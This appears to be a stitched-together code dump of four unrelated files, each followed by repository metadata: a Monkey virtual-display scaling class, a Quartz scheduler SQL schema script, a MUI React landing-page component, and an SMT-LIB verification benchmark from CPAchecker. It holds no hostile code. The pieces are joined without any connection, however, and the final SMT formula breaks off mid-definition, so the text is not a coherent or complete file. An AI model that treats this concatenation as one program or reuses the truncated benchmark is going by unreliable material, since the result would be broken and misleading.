Global Display:VirtualDisplay Field vwidth:Float ' Virtual width Field vheight:Float ' Virtual height Field vratio:Float ' Virtual ratio Field scaledw:Float ' Width of *scaled* virtual display in real pixels... Field scaledh:Float ' Width of *scaled* virtual display in real pixels... Field widthborder:Float ' Size of border at sides Field heightborder:Float ' Size of border at top/bottom Field multi:Float ' Ratio scale factor Field zoom:Float = 1.0 ' Zoom scale factor Method New (width:Int, height:Int) ' Set virtual width and height... vwidth = width vheight = height ' Store ratio... vratio = vheight / vwidth ' Create global VirtualDisplay object... Display = Self End Method VMouseX:Float (limit:Bool) ' Position of mouse, in real pixels, from centre of screen (centre being 0)... Local mouseoffset:Float = MouseX - Float (DeviceWidth) * 0.5 ' This calculates the scaled position on the virtual display. Somehow... Local x:Float = (mouseoffset / multi) / zoom + (VDeviceWidth * 0.5) ' Check if mouse is to be limited to virtual display area... If limit Local widthlimit:Float = vwidth - 1 If x > 0 If x < widthlimit Return x Else Return widthlimit Endif Else Return 0 Endif Else Return x Endif End Method VMouseY:Float (limit:Bool) ' Position of mouse, in real pixels, from centre of screen (centre being 0)... Local mouseoffset:Float = MouseY - Float (DeviceHeight) * 0.5 ' This calculates the scaled position on the virtual display. Somehow... Local y:Float = (mouseoffset / multi) / zoom + (VDeviceHeight * 0.5) ' Check if mouse is to be limited to virtual display area... If limit Local heightlimit:Float = vheight - 1 If y > 0 If y < heightlimit Return y Else Return heightlimit Endif Else Return 0 Endif Else Return y Endif End Method ScaleDisplay (tzoom:Float, zoomborders:Bool, ratioborders:Bool) ' Store device resolution as float values to avoid loads of casts. Doing it here in ' case it turns out to be possible to change device resolution on the fly at some point... Local fdw:Float = Float (DeviceWidth) Local fdh:Float = Float (DeviceHeight) ' Device ratio is calculated on the fly since it can change (eg. resizeable ' browser window)... Local dratio:Float = fdh / fdw ' Compare to pre-calculated virtual device ratio... If dratio >= vratio ' ----------------------------------------------------------------- ' Device aspect narrower than (or same as) game aspect ratio: ' will use full width, borders above and below... ' ----------------------------------------------------------------- ' Multiplier required to scale game width to device width (to be applied to height)... multi = fdw / vwidth ' "vheight * multi" below applies width multiplier to height... heightborder = (fdh - vheight * multi) * 0.5 widthborder = 0 Else ' ----------------------------------------------------------------- ' Device aspect wider than game aspect ratio: ' will use full height, borders at sides... ' ----------------------------------------------------------------- ' Multiplier required to scale game height to device height (to be applied to width)... multi = fdh / vheight ' "vwidth * multi" below applies height multiplier to width... widthborder = (fdw - vwidth * multi) * 0.5 heightborder = 0 Endif ' --------------------------------------------------------------------- ' Clear outer area (black borders if required)... ' --------------------------------------------------------------------- SetScissor 0, 0, DeviceWidth, DeviceHeight Cls 0, 0, 0 ' --------------------------------------------------------------------- ' Set inner area... ' --------------------------------------------------------------------- If zoomborders ' Width/height of SCALED virtual display in real pixels... Local realx:Float = (vwidth * zoom * multi) Local realy:Float = (vheight * zoom * multi) ' Space in pixels between real device borders and virtual device borders... Local offx:Float = (Float (DeviceWidth) - realx) * 0.5 Local offy:Float = (Float (DeviceHeight) - realy) * 0.5 ' SetScissor offx, offy, Float (DeviceWidth) - (offx * 2.0), Float (DeviceHeight) - (offy * 2.0) ' SetScissor widthborder, heightborder, fdw - widthborder * 2.0, fdh - heightborder * 2.0 ' WIP: Retain borders when zoomed in... add option to lose borders... ' Can ratioborders check go outside? Local sx:Float, sy:Float, sw:Float, sh:Float If ratioborders If offx < widthborder sx = widthborder sw = fdw - widthborder * 2.0 Else sx = offx sw = Float (DeviceWidth) - (offx * 2.0) Endif Else sx = offx sw = Float (DeviceWidth) - (offx * 2.0) Endif If ratioborders If offy < heightborder sy = heightborder sh = fdh - heightborder * 2.0 Else sy = offy sh = Float (DeviceHeight) - (offy * 2.0) Endif Else sy = offy sh = Float (DeviceHeight) - (offy * 2.0) Endif SetScissor sx, sy, sw, sh Else SetScissor widthborder, heightborder, fdw - widthborder * 2.0, fdh - heightborder * 2.0 Endif ' --------------------------------------------------------------------- ' Scale and translate everything... ' --------------------------------------------------------------------- zoom = tzoom ' Copy passed zoom factor to local zoom field... Scale multi * zoom, multi * zoom ' --------------------------------------------------------------------- ' Shift display to account for borders/zoom level... ' --------------------------------------------------------------------- If zoom ' Gets skipped if zero... ' Width and height of *scaled* virtual display in pixels... scaledw = (vwidth * multi * zoom) scaledh = (vheight * multi * zoom) ' Find offsets by which view needs to be shifted... Local xoff:Float = (fdw - scaledw) * 0.5 Local yoff:Float = (fdh - scaledh) * 0.5 ' Ahh, good old trial and error -- I have no idea how this works! xoff = (xoff / multi) / zoom yoff = (yoff / multi) / zoom ' Aaaand, shift... Translate xoff, yoff Endif End End
Monkey
4
blitz-research/monkey
bananas/hitoro/rockout/imports/virtual.monkey
[ "Zlib" ]
DROP TABLE qrtz_locks; DROP TABLE qrtz_scheduler_state; DROP TABLE qrtz_fired_triggers; DROP TABLE qrtz_paused_trigger_grps; DROP TABLE qrtz_calendars; DROP TABLE qrtz_blob_triggers; DROP TABLE qrtz_cron_triggers; DROP TABLE qrtz_simple_triggers; DROP TABLE qrtz_simprop_triggers; DROP TABLE qrtz_triggers; DROP TABLE qrtz_job_details; create table qrtz_job_details ( sched_name varchar(120) not null, job_name varchar(80) not null, job_group varchar(80) not null, description varchar(120) , job_class_name varchar(128) not null, is_durable varchar(5) not null, is_nonconcurrent varchar(5) not null, is_update_data varchar(5) not null, requests_recovery varchar(5) not null, job_data long varbinary, primary key (sched_name,job_name,job_group) ); create table qrtz_triggers( sched_name varchar(120) not null, trigger_name varchar(80) not null, trigger_group varchar(80) not null, job_name varchar(80) not null, job_group varchar(80) not null, description varchar(120) , next_fire_time numeric(13), prev_fire_time numeric(13), priority integer, trigger_state varchar(16) not null, trigger_type varchar(8) not null, start_time numeric(13) not null, end_time numeric(13), calendar_name varchar(80), misfire_instr smallint, job_data long varbinary, primary key (sched_name,trigger_name,trigger_group), foreign key (sched_name,job_name,job_group) references qrtz_job_details(sched_name,job_name,job_group) ); create table qrtz_simple_triggers( sched_name varchar(120) not null, trigger_name varchar(80) not null, trigger_group varchar(80) not null, repeat_count numeric(13) not null, repeat_interval numeric(13) not null, times_triggered numeric(13) not null, primary key (sched_name,trigger_name,trigger_group), foreign key (sched_name,trigger_name,trigger_group) references qrtz_triggers(sched_name,trigger_name,trigger_group) ); CREATE TABLE qrtz_simprop_triggers ( sched_name varchar(120) not null, trigger_name VARCHAR(200) NOT NULL, trigger_group VARCHAR(200) NOT NULL, STR_PROP_1 VARCHAR(512) NULL, STR_PROP_2 VARCHAR(512) NULL, STR_PROP_3 VARCHAR(512) NULL, INT_PROP_1 INTEGER NULL, INT_PROP_2 INTEGER NULL, LONG_PROP_1 NUMERIC(13) NULL, LONG_PROP_2 NUMERIC(13) NULL, DEC_PROP_1 NUMERIC(13,4) NULL, DEC_PROP_2 NUMERIC(13,4) NULL, BOOL_PROP_1 VARCHAR(5) NULL, BOOL_PROP_2 VARCHAR(5) NULL, PRIMARY KEY (sched_name,trigger_name,trigger_group), FOREIGN KEY (sched_name,trigger_name,trigger_group) REFERENCES qrtz_triggers(sched_name,trigger_name,trigger_group) ); create table qrtz_cron_triggers( sched_name varchar(120) not null, trigger_name varchar(80) not null, trigger_group varchar(80) not null, cron_expression varchar(120) not null, time_zone_id varchar(80), primary key (sched_name,trigger_name,trigger_group), foreign key (sched_name,trigger_name,trigger_group) references qrtz_triggers(sched_name,trigger_name,trigger_group) ); create table qrtz_blob_triggers( sched_name varchar(120) not null, trigger_name varchar(80) not null, trigger_group varchar(80) not null, blob_data long varbinary , primary key (sched_name,trigger_name,trigger_group), foreign key (sched_name,trigger_name,trigger_group) references qrtz_triggers(sched_name,trigger_name,trigger_group) ); create table qrtz_calendars( sched_name varchar(120) not null, calendar_name varchar(80) not null, calendar long varbinary not null, primary key (sched_name,calendar_name) ); create table qrtz_paused_trigger_grps ( sched_name varchar(120) not null, trigger_group varchar(80) not null, primary key (sched_name,trigger_group) ); create table qrtz_fired_triggers( sched_name varchar(120) not null, entry_id varchar(95) not null, trigger_name varchar(80) not null, trigger_group varchar(80) not null, instance_name varchar(80) not null, fired_time numeric(13) not null, sched_time numeric(13) not null, priority integer not null, state varchar(16) not null, job_name varchar(80) null, job_group varchar(80) null, is_nonconcurrent varchar(5) null, requests_recovery varchar(5) null, primary key (sched_name,entry_id) ); create table qrtz_scheduler_state ( sched_name varchar(120) not null, instance_name varchar(80) not null, last_checkin_time numeric(13) not null, checkin_interval numeric(13) not null, primary key (sched_name,instance_name) ); create table qrtz_locks ( sched_name varchar(120) not null, lock_name varchar(40) not null, primary key (sched_name,lock_name) ); commit work;
SQL
3
Evan43789596/spring-boot-demo
spring-boot-demo-task-quartz/init/dbTables/tables_solid.sql
[ "MIT" ]
import * as React from 'react'; import { ThemeProvider } from '@mui/material/styles'; import Box from '@mui/material/Box'; import Button from '@mui/material/Button'; import Grid from '@mui/material/Grid'; import KeyboardArrowRightRounded from '@mui/icons-material/KeyboardArrowRightRounded'; import Section from 'docs/src/layouts/Section'; import SectionHeadline from 'docs/src/components/typography/SectionHeadline'; import Link from 'docs/src/modules/components/Link'; import ROUTES from 'docs/src/route'; import MuiStatistics from 'docs/src/components/home/MuiStatistics'; import { brandingDarkTheme } from 'docs/src/modules/brandingTheme'; export default function CoreHeroEnd() { return ( <ThemeProvider theme={brandingDarkTheme}> <Section bg="dim"> <Box sx={{ py: 4 }}> <Grid container spacing={2} alignItems="center"> <Grid item md={6}> <Box maxWidth={500}> <SectionHeadline overline="Community" title="Get and give help by joining our contributors community" description="The core components were crafted by many hands, all over the world. Join the community to help us expand it even further!" /> <Button aria-label="Go to documentation" component={Link} href={ROUTES.communityHelp} noLinkStyle size="large" variant="contained" endIcon={<KeyboardArrowRightRounded />} > Learn more </Button> </Box> </Grid> <MuiStatistics /> </Grid> </Box> </Section> </ThemeProvider> ); }
TypeScript
4
Gethomely/material-ui
docs/src/components/productCore/CoreHeroEnd.tsx
[ "MIT" ]
(set-info :smt-lib-version 2.6) (set-logic QF_UFLRA) (set-info :source |CPAchecker with k-induction on SV-COMP14 program using MathSAT5, submitted by Philipp Wendler, http://cpachecker.sosy-lab.org|) (set-info :category "industrial") (set-info :status unsat) (define-fun _1 () Bool true) (declare-fun |main::lk10@5| () Real) (declare-fun |main::lk8@7| () Real) (declare-fun |main::lk1@3| () Real) (declare-fun |main::lk2@7| () Real) (declare-fun |main::lk10@2| () Real) (declare-fun |main::lk11@6| () Real) (declare-fun |main::p1@1| () Real) (declare-fun |main::lk9@7| () Real) (declare-fun |main::p11@1| () Real) (declare-fun |main::lk5@2| () Real) (declare-fun |main::lk5@6| () Real) (declare-fun |main::lk10@6| () Real) (declare-fun |main::lk2@3| () Real) (declare-fun |main::lk3@3| () Real) (declare-fun |main::lk1@2| () Real) (declare-fun |main::p9@1| () Real) (declare-fun |main::p3@1| () Real) (declare-fun |main::lk10@7| () Real) (declare-fun |main::lk1@5| () Real) (declare-fun |main::lk5@3| () Real) (declare-fun |main::lk5@7| () Real) (declare-fun |main::lk4@7| () Real) (declare-fun |main::lk3@7| () Real) (declare-fun |main::lk4@6| () Real) (declare-fun |main::lk3@5| () Real) (declare-fun |main::lk7@3| () Real) (declare-fun |main::p4@1| () Real) (declare-fun |main::lk4@4| () Real) (declare-fun |main::lk5@5| () Real) (declare-fun |main::lk1@7| () Real) (declare-fun |main::lk6@6| () Real) (declare-fun |main::lk11@2| () Real) (declare-fun |main::lk5@4| () Real) (declare-fun |main::p10@1| () Real) (declare-fun |main::p2@1| () Real) (declare-fun |main::lk7@5| () Real) (declare-fun |main::lk8@6| () Real) (declare-fun |main::p5@1| () Real) (declare-fun |main::lk8@4| () Real) (declare-fun |main::lk9@3| () Real) (declare-fun |main::cond@3| () Real) (declare-fun |main::lk6@4| () Real) (declare-fun |main::p7@1| () Real) (declare-fun |main::lk9@5| () Real) (declare-fun |main::lk1@6| () Real) (declare-fun |main::lk3@4| () Real) (declare-fun |main::lk2@4| () Real) (declare-fun |main::lk4@2| () Real) (declare-fun |main::lk11@3| () Real) (declare-fun |main::lk7@4| () Real) (declare-fun |main::lk11@5| () Real) (declare-fun |main::lk2@6| () Real) (declare-fun |main::lk1@4| () Real) (declare-fun |main::lk9@4| () Real) (declare-fun |main::lk9@6| () Real) (declare-fun |main::p6@1| () Real) (declare-fun |main::lk6@7| () Real) (declare-fun |main::lk7@7| () Real) (declare-fun |main::lk10@4| () Real) (declare-fun |main::cond@2| () Real) (declare-fun |main::lk11@4| () Real) (declare-fun |main::lk4@3| () Real) (declare-fun |main::lk6@2| () Real) (declare-fun |main::lk2@2| () Real) (declare-fun |main::lk2@5| () Real) (declare-fun |main::lk6@3| () Real) (declare-fun |main::lk7@2| () Real) (declare-fun |main::lk4@5| () Real) (declare-fun |main::lk8@2| () Real) (declare-fun |main::lk6@5| () Real) (declare-fun |main::lk9@2| () Real) (declare-fun |main::lk8@3| () Real) (declare-fun |main::p8@1| () Real) (declare-fun |main::lk8@5| () Real) (declare-fun |main::lk7@6| () Real) (declare-fun |main::lk3@6| () Real) (declare-fun |main::lk3@2| () Real) (declare-fun |main::lk10@3| () Real) (define-fun _7 () Real 0) (define-fun _99 () Real |main::cond@3|) (define-fun _100 () Bool (= _99 _7)) (define-fun _101 () Real 1) (define-fun _104 () Bool (not _100)) (define-fun _106 () Real |main::lk1@3|) (define-fun _109 () Real |main::lk2@3|) (define-fun _112 () Real |main::lk3@3|) (define-fun _115 () Real |main::lk4@3|) (define-fun _118 () Real |main::lk5@3|) (define-fun _121 () Real |main::lk6@3|) (define-fun _124 () Real |main::lk7@3|) (define-fun _127 () Real |main::lk8@3|) (define-fun _130 () Real |main::lk9@3|) (define-fun _133 () Real |main::lk10@3|) (define-fun _136 () Real |main::lk11@3|) (define-fun _145 () Real |main::lk1@4|) (define-fun _148 () Bool (= _106 _145)) (define-fun _157 () Real |main::lk2@4|) (define-fun _160 () Bool (= _109 _157)) (define-fun _169 () Real |main::lk3@4|) (define-fun _172 () Bool (= _112 _169)) (define-fun _181 () Real |main::lk4@4|) (define-fun _184 () Bool (= _115 _181)) (define-fun _193 () Real |main::lk5@4|) (define-fun _196 () Bool (= _118 _193)) (define-fun _205 () Real |main::lk6@4|) (define-fun _208 () Bool (= _121 _205)) (define-fun _217 () Real |main::lk7@4|) (define-fun _220 () Bool (= _124 _217)) (define-fun _229 () Real |main::lk8@4|) (define-fun _232 () Bool (= _127 _229)) (define-fun _241 () Real |main::lk9@4|) (define-fun _244 () Bool (= _130 _241)) (define-fun _253 () Real |main::lk10@4|) (define-fun _256 () Bool (= _133 _253)) (define-fun _265 () Real |main::lk11@4|) (define-fun _268 () Bool (= _136 _265)) (define-fun _277 () Real |main::lk1@5|) (define-fun _278 () Bool (= _277 _7)) (define-fun _289 () Real |main::lk2@5|) (define-fun _290 () Bool (= _289 _7)) (define-fun _301 () Real |main::lk3@5|) (define-fun _302 () Bool (= _301 _7)) (define-fun _313 () Real |main::lk4@5|) (define-fun _314 () Bool (= _313 _7)) (define-fun _325 () Real |main::lk5@5|) (define-fun _326 () Bool (= _325 _7)) (define-fun _337 () Real |main::lk6@5|) (define-fun _338 () Bool (= _337 _7)) (define-fun _349 () Real |main::lk7@5|) (define-fun _350 () Bool (= _349 _7)) (define-fun _361 () Real |main::lk8@5|) (define-fun _362 () Bool (= _361 _7)) (define-fun _373 () Real |main::lk9@5|) (define-fun _374 () Bool (= _373 _7)) (define-fun _385 () Real |main::lk10@5|) (define-fun _386 () Bool (= _385 _7)) (define-fun _397 () Real |main::lk11@5|) (define-fun _398 () Bool (= _397 _7)) (define-fun _473 () Real |main::cond@2|) (define-fun _474 () Bool (= _473 _7)) (define-fun _476 () Bool (not _474)) (define-fun _477 () Real |main::lk1@2|) (define-fun _478 () Bool (= _477 _7)) (define-fun _479 () Bool (and _476 _478)) (define-fun _480 () Real |main::lk2@2|) (define-fun _481 () Bool (= _480 _7)) (define-fun _482 () Bool (and _479 _481)) (define-fun _483 () Real |main::lk3@2|) (define-fun _484 () Bool (= _483 _7)) (define-fun _485 () Bool (and _482 _484)) (define-fun _486 () Real |main::lk4@2|) (define-fun _487 () Bool (= _486 _7)) (define-fun _488 () Bool (and _485 _487)) (define-fun _489 () Real |main::lk5@2|) (define-fun _490 () Bool (= _489 _7)) (define-fun _491 () Bool (and _488 _490)) (define-fun _492 () Real |main::lk6@2|) (define-fun _493 () Bool (= _492 _7)) (define-fun _494 () Bool (and _491 _493)) (define-fun _495 () Real |main::lk7@2|) (define-fun _496 () Bool (= _495 _7)) (define-fun _497 () Bool (and _494 _496)) (define-fun _498 () Real |main::lk8@2|) (define-fun _499 () Bool (= _498 _7)) (define-fun _500 () Bool (and _497 _499)) (define-fun _501 () Real |main::lk9@2|) (define-fun _502 () Bool (= _501 _7)) (define-fun _503 () Bool (and _500 _502)) (define-fun _504 () Real |main::lk10@2|) (define-fun _505 () Bool (= _504 _7)) (define-fun _506 () Bool (and _503 _505)) (define-fun _507 () Real |main::lk11@2|) (define-fun _508 () Bool (= _507 _7)) (define-fun _509 () Bool (and _506 _508)) (define-fun _510 () Real |main::p1@1|) (define-fun _511 () Bool (= _510 _7)) (define-fun _512 () Bool (not _511)) (define-fun _514 () Bool (and _509 _512)) (define-fun _515 () Bool (and _509 _511)) (define-fun _516 () Bool (= _106 _101)) (define-fun _517 () Bool (and _514 _516)) (define-fun _518 () Bool (= _106 _477)) (define-fun _519 () Bool (and _515 _518)) (define-fun _520 () Bool (or _517 _519)) (define-fun _521 () Real |main::p2@1|) (define-fun _522 () Bool (= _521 _7)) (define-fun _523 () Bool (not _522)) (define-fun _525 () Bool (and _520 _523)) (define-fun _526 () Bool (and _520 _522)) (define-fun _527 () Bool (= _109 _101)) (define-fun _528 () Bool (and _525 _527)) (define-fun _529 () Bool (= _109 _480)) (define-fun _530 () Bool (and _526 _529)) (define-fun _531 () Bool (or _528 _530)) (define-fun _532 () Real |main::p3@1|) (define-fun _533 () Bool (= _532 _7)) (define-fun _534 () Bool (not _533)) (define-fun _536 () Bool (and _531 _534)) (define-fun _537 () Bool (and _531 _533)) (define-fun _538 () Bool (= _112 _101)) (define-fun _539 () Bool (and _536 _538)) (define-fun _540 () Bool (= _112 _483)) (define-fun _541 () Bool (and _537 _540)) (define-fun _542 () Bool (or _539 _541)) (define-fun _543 () Real |main::p4@1|) (define-fun _544 () Bool (= _543 _7)) (define-fun _545 () Bool (not _544)) (define-fun _547 () Bool (and _542 _545)) (define-fun _548 () Bool (and _542 _544)) (define-fun _549 () Bool (= _115 _101)) (define-fun _550 () Bool (and _547 _549)) (define-fun _551 () Bool (= _115 _486)) (define-fun _552 () Bool (and _548 _551)) (define-fun _553 () Bool (or _550 _552)) (define-fun _554 () Real |main::p5@1|) (define-fun _555 () Bool (= _554 _7)) (define-fun _556 () Bool (not _555)) (define-fun _558 () Bool (and _553 _556)) (define-fun _559 () Bool (and _553 _555)) (define-fun _560 () Bool (= _118 _101)) (define-fun _561 () Bool (and _558 _560)) (define-fun _562 () Bool (= _118 _489)) (define-fun _563 () Bool (and _559 _562)) (define-fun _564 () Bool (or _561 _563)) (define-fun _565 () Real |main::p6@1|) (define-fun _566 () Bool (= _565 _7)) (define-fun _567 () Bool (not _566)) (define-fun _569 () Bool (and _564 _567)) (define-fun _570 () Bool (and _564 _566)) (define-fun _571 () Bool (= _121 _101)) (define-fun _572 () Bool (and _569 _571)) (define-fun _573 () Bool (= _121 _492)) (define-fun _574 () Bool (and _570 _573)) (define-fun _575 () Bool (or _572 _574)) (define-fun _576 () Real |main::p7@1|) (define-fun _577 () Bool (= _576 _7)) (define-fun _578 () Bool (not _577)) (define-fun _580 () Bool (and _575 _578)) (define-fun _581 () Bool (and _575 _577)) (define-fun _582 () Bool (= _124 _101)) (define-fun _583 () Bool (and _580 _582)) (define-fun _584 () Bool (= _124 _495)) (define-fun _585 () Bool (and _581 _584)) (define-fun _586 () Bool (or _583 _585)) (define-fun _587 () Real |main::p8@1|) (define-fun _588 () Bool (= _587 _7)) (define-fun _589 () Bool (not _588)) (define-fun _591 () Bool (and _586 _589)) (define-fun _592 () Bool (and _586 _588)) (define-fun _593 () Bool (= _127 _101)) (define-fun _594 () Bool (and _591 _593)) (define-fun _595 () Bool (= _127 _498)) (define-fun _596 () Bool (and _592 _595)) (define-fun _597 () Bool (or _594 _596)) (define-fun _598 () Real |main::p9@1|) (define-fun _599 () Bool (= _598 _7)) (define-fun _600 () Bool (not _599)) (define-fun _602 () Bool (and _597 _600)) (define-fun _603 () Bool (and _597 _599)) (define-fun _604 () Bool (= _130 _101)) (define-fun _605 () Bool (and _602 _604)) (define-fun _606 () Bool (= _130 _501)) (define-fun _607 () Bool (and _603 _606)) (define-fun _608 () Bool (or _605 _607)) (define-fun _609 () Real |main::p10@1|) (define-fun _610 () Bool (= _609 _7)) (define-fun _611 () Bool (not _610)) (define-fun _613 () Bool (and _608 _611)) (define-fun _614 () Bool (and _608 _610)) (define-fun _615 () Bool (= _133 _101)) (define-fun _616 () Bool (and _613 _615)) (define-fun _617 () Bool (= _133 _504)) (define-fun _618 () Bool (and _614 _617)) (define-fun _619 () Bool (or _616 _618)) (define-fun _620 () Real |main::p11@1|) (define-fun _621 () Bool (= _620 _7)) (define-fun _622 () Bool (not _621)) (define-fun _624 () Bool (and _619 _622)) (define-fun _625 () Bool (and _619 _621)) (define-fun _626 () Bool (= _136 _101)) (define-fun _627 () Bool (and _624 _626)) (define-fun _628 () Bool (= _136 _507)) (define-fun _629 () Bool (and _625 _628)) (define-fun _630 () Bool (or _627 _629)) (define-fun _631 () Bool (and _512 _630)) (define-fun _632 () Bool (and _511 _630)) (define-fun _636 () Bool (and _516 _631)) (define-fun _637 () Bool (= _145 _7)) (define-fun _638 () Bool (and _636 _637)) (define-fun _639 () Bool (and _148 _632)) (define-fun _640 () Bool (or _638 _639)) (define-fun _641 () Bool (and _523 _640)) (define-fun _642 () Bool (and _522 _640)) (define-fun _646 () Bool (and _527 _641)) (define-fun _647 () Bool (= _157 _7)) (define-fun _648 () Bool (and _646 _647)) (define-fun _649 () Bool (and _160 _642)) (define-fun _650 () Bool (or _648 _649)) (define-fun _651 () Bool (and _534 _650)) (define-fun _652 () Bool (and _533 _650)) (define-fun _656 () Bool (and _538 _651)) (define-fun _657 () Bool (= _169 _7)) (define-fun _658 () Bool (and _656 _657)) (define-fun _659 () Bool (and _172 _652)) (define-fun _660 () Bool (or _658 _659)) (define-fun _661 () Bool (and _545 _660)) (define-fun _662 () Bool (and _544 _660)) (define-fun _666 () Bool (and _549 _661)) (define-fun _667 () Bool (= _181 _7)) (define-fun _668 () Bool (and _666 _667)) (define-fun _669 () Bool (and _184 _662)) (define-fun _670 () Bool (or _668 _669)) (define-fun _671 () Bool (and _556 _670)) (define-fun _672 () Bool (and _555 _670)) (define-fun _676 () Bool (and _560 _671)) (define-fun _677 () Bool (= _193 _7)) (define-fun _678 () Bool (and _676 _677)) (define-fun _679 () Bool (and _196 _672)) (define-fun _680 () Bool (or _678 _679)) (define-fun _681 () Bool (and _567 _680)) (define-fun _682 () Bool (and _566 _680)) (define-fun _686 () Bool (and _571 _681)) (define-fun _687 () Bool (= _205 _7)) (define-fun _688 () Bool (and _686 _687)) (define-fun _689 () Bool (and _208 _682)) (define-fun _690 () Bool (or _688 _689)) (define-fun _691 () Bool (and _578 _690)) (define-fun _692 () Bool (and _577 _690)) (define-fun _696 () Bool (and _582 _691)) (define-fun _697 () Bool (= _217 _7)) (define-fun _698 () Bool (and _696 _697)) (define-fun _699 () Bool (and _220 _692)) (define-fun _700 () Bool (or _698 _699)) (define-fun _701 () Bool (and _589 _700)) (define-fun _702 () Bool (and _588 _700)) (define-fun _706 () Bool (and _593 _701)) (define-fun _707 () Bool (= _229 _7)) (define-fun _708 () Bool (and _706 _707)) (define-fun _709 () Bool (and _232 _702)) (define-fun _710 () Bool (or _708 _709)) (define-fun _711 () Bool (and _600 _710)) (define-fun _712 () Bool (and _599 _710)) (define-fun _716 () Bool (and _604 _711)) (define-fun _717 () Bool (= _241 _7)) (define-fun _718 () Bool (and _716 _717)) (define-fun _719 () Bool (and _244 _712)) (define-fun _720 () Bool (or _718 _719)) (define-fun _721 () Bool (and _611 _720)) (define-fun _722 () Bool (and _610 _720)) (define-fun _726 () Bool (and _615 _721)) (define-fun _727 () Bool (= _253 _7)) (define-fun _728 () Bool (and _726 _727)) (define-fun _729 () Bool (and _256 _722)) (define-fun _730 () Bool (or _728 _729)) (define-fun _731 () Bool (and _622 _730)) (define-fun _732 () Bool (and _621 _730)) (define-fun _736 () Bool (and _626 _731)) (define-fun _737 () Bool (= _265 _7)) (define-fun _738 () Bool (and _736 _737)) (define-fun _739 () Bool (and _268 _732)) (define-fun _740 () Bool (or _738 _739)) (define-fun _742 () Bool (and _104 _740)) (define-fun _779 () Bool (and _278 _742)) (define-fun _780 () Bool (and _290 _779)) (define-fun _781 () Bool (and _302 _780)) (define-fun _782 () Bool (and _314 _781)) (define-fun _783 () Bool (and _326 _782)) (define-fun _784 () Bool (and _338 _783)) (define-fun _785 () Bool (and _350 _784)) (define-fun _786 () Bool (and _362 _785)) (define-fun _787 () Bool (and _374 _786)) (define-fun _788 () Bool (and _386 _787)) (define-fun _789 () Bool (and _398 _788)) (define-fun _790 () Bool (and _512 _789)) (define-fun _791 () Bool (and _511 _789)) (define-fun _792 () Real |main::lk1@6|) (define-fun _793 () Bool (= _792 _101)) (define-fun _794 () Bool (and _790 _793)) (define-fun _795 () Bool (= _277 _792)) (define-fun _796 () Bool (and _791 _795)) (define-fun _797 () Bool (or _794 _796)) (define-fun _798 () Bool (and _523 _797)) (define-fun _799 () Bool (and _522 _797)) (define-fun _800 () Real |main::lk2@6|) (define-fun _801 () Bool (= _800 _101)) (define-fun _802 () Bool (and _798 _801)) (define-fun _803 () Bool (= _289 _800)) (define-fun _804 () Bool (and _799 _803)) (define-fun _805 () Bool (or _802 _804)) (define-fun _806 () Bool (and _534 _805)) (define-fun _807 () Bool (and _533 _805)) (define-fun _808 () Real |main::lk3@6|) (define-fun _809 () Bool (= _808 _101)) (define-fun _810 () Bool (and _806 _809)) (define-fun _811 () Bool (= _301 _808)) (define-fun _812 () Bool (and _807 _811)) (define-fun _813 () Bool (or _810 _812)) (define-fun _814 () Bool (and _545 _813)) (define-fun _815 () Bool (and _544 _813)) (define-fun _816 () Real |main::lk4@6|) (define-fun _817 () Bool (= _816 _101)) (define-fun _818 () Bool (and _814 _817)) (define-fun _819 () Bool (= _313 _816)) (define-fun _820 () Bool (and _815 _819)) (define-fun _821 () Bool (or _818 _820)) (define-fun _822 () Bool (and _556 _821)) (define-fun _823 () Bool (and _555 _821)) (define-fun _824 () Real |main::lk5@6|) (define-fun _825 () Bool (= _824 _101)) (define-fun _826 () Bool (and _822 _825)) (define-fun _827 () Bool (= _325 _824)) (define-fun _828 () Bool (and _823 _827)) (define-fun _829 () Bool (or _826 _828)) (define-fun _830 () Bool (and _567 _829)) (define-fun _831 () Bool (and _566 _829)) (define-fun _832 () Real |main::lk6@6|) (define-fun _833 () Bool (= _832 _101)) (define-fun _834 () Bool (and _830 _833)) (define-fun _835 () Bool (= _337 _832)) (define-fun _836 () Bool (and _831 _835)) (define-fun _837 () Bool (or _834 _836)) (define-fun _838 () Bool (and _578 _837)) (define-fun _839 () Bool (and _577 _837)) (define-fun _840 () Real |main::lk7@6|) (define-fun _841 () Bool (= _840 _101)) (define-fun _842 () Bool (and _838 _841)) (define-fun _843 () Bool (= _349 _840)) (define-fun _844 () Bool (and _839 _843)) (define-fun _845 () Bool (or _842 _844)) (define-fun _846 () Bool (and _589 _845)) (define-fun _847 () Bool (and _588 _845)) (define-fun _848 () Real |main::lk8@6|) (define-fun _849 () Bool (= _848 _101)) (define-fun _850 () Bool (and _846 _849)) (define-fun _851 () Bool (= _361 _848)) (define-fun _852 () Bool (and _847 _851)) (define-fun _853 () Bool (or _850 _852)) (define-fun _854 () Bool (and _600 _853)) (define-fun _855 () Bool (and _599 _853)) (define-fun _856 () Real |main::lk9@6|) (define-fun _857 () Bool (= _856 _101)) (define-fun _858 () Bool (and _854 _857)) (define-fun _859 () Bool (= _373 _856)) (define-fun _860 () Bool (and _855 _859)) (define-fun _861 () Bool (or _858 _860)) (define-fun _862 () Bool (and _611 _861)) (define-fun _863 () Bool (and _610 _861)) (define-fun _864 () Real |main::lk10@6|) (define-fun _865 () Bool (= _864 _101)) (define-fun _866 () Bool (and _862 _865)) (define-fun _867 () Bool (= _385 _864)) (define-fun _868 () Bool (and _863 _867)) (define-fun _869 () Bool (or _866 _868)) (define-fun _870 () Bool (and _622 _869)) (define-fun _871 () Bool (and _621 _869)) (define-fun _872 () Real |main::lk11@6|) (define-fun _873 () Bool (= _872 _101)) (define-fun _874 () Bool (and _870 _873)) (define-fun _875 () Bool (= _397 _872)) (define-fun _876 () Bool (and _871 _875)) (define-fun _877 () Bool (or _874 _876)) (define-fun _878 () Bool (and _512 _877)) (define-fun _879 () Bool (and _511 _877)) (define-fun _883 () Bool (and _793 _878)) (define-fun _908 () Real |main::lk1@7|) (define-fun _909 () Bool (= _908 _7)) (define-fun _910 () Bool (and _883 _909)) (define-fun _911 () Bool (= _792 _908)) (define-fun _912 () Bool (and _879 _911)) (define-fun _913 () Bool (or _910 _912)) (define-fun _914 () Bool (and _523 _913)) (define-fun _915 () Bool (and _522 _913)) (define-fun _919 () Bool (and _801 _914)) (define-fun _934 () Real |main::lk2@7|) (define-fun _935 () Bool (= _934 _7)) (define-fun _936 () Bool (and _919 _935)) (define-fun _937 () Bool (= _800 _934)) (define-fun _938 () Bool (and _915 _937)) (define-fun _939 () Bool (or _936 _938)) (define-fun _940 () Bool (and _534 _939)) (define-fun _941 () 